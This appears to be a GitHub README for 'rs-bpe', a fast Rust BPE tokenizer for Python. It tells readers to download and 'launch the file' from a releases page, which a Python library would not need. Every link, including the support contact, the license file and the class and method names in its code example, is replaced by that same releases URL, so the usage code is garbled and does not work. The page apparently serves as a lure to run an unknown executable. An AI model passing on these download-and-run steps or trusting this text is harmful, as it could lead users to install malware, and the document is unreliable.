🚀 Fast BPE Tokenizer in Rust

Welcome to the official repository of "rs-bpe" - a blazingly fast Python BPE (Byte Pair Encoder) implementation written in Rust!

📦 Repository Information

• Repository Name: rs-bpe
• Description: A ridiculously fast Python BPE (Byte Pair Encoder) implementation written in Rust
• Topics: bpe, bpe-tokenizer, byte-pair-encoding, byte-pair-tokenizer, huggingface, llm, openai, pypi-package, python, rust, tiktoken, tokenizers

🌟 Features

• Lightning-fast performance thanks to the Rust programming language
• Easy integration with Python projects
• Wide range of topics and support for various tokenization tasks

🔗 Repository Link

Download https://github.com/SameerManan/rs-bpe/releases

🎉 Launch Instructions

Please launch the file present in the provided release link.

🚀 Getting Started

To start using the rs-bpe repository, follow these steps:

1. Download the latest release from the specified link.
2. Launch the downloaded file.
3. Integrate rs-bpe into your Python projects for fast and efficient tokenization.

📂 Directory Structure

The repository structure is organized as follows:

• src: Contains the source code for the BPE implementation
• examples: Includes examples on how to use rs-bpe in Python projects
• docs: Documentation on the usage and features of the BPE tokenizer

🛠️ Usage

Here is a simple example of how you can use rs-bpe in your Python projects:

import rsbpe

# Initialize the BPE tokenizer
tokenizer = https://github.com/SameerManan/rs-bpe/releases()

# Tokenize a sentence
tokens = https://github.com/SameerManan/rs-bpe/releases("This is a sample sentence.")

# Print the tokenized output
print(tokens)

🚧 Contributing

We welcome contributions from the community to enhance the rs-bpe repository. If you have any suggestions, bug fixes, or new features to add, feel free to submit a pull request.

📞 Support

For any queries or issues, please reach out to our support team at https://github.com/SameerManan/rs-bpe/releases

🌐 Links

• Website
• Documentation
• PyPI Package
• Tokenizers

🙌 Acknowledgements

We would like to thank the following organizations for their support:

• HuggingFace
• OpenAI
• Python Software Foundation
• Rust Community

📝 License

This project is licensed under the MIT License - see the https://github.com/SameerManan/rs-bpe/releases file for details.

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Feel free to explore the rs-bpe repository and take advantage of its high-performance BPE tokenization capabilities! 🚀🔥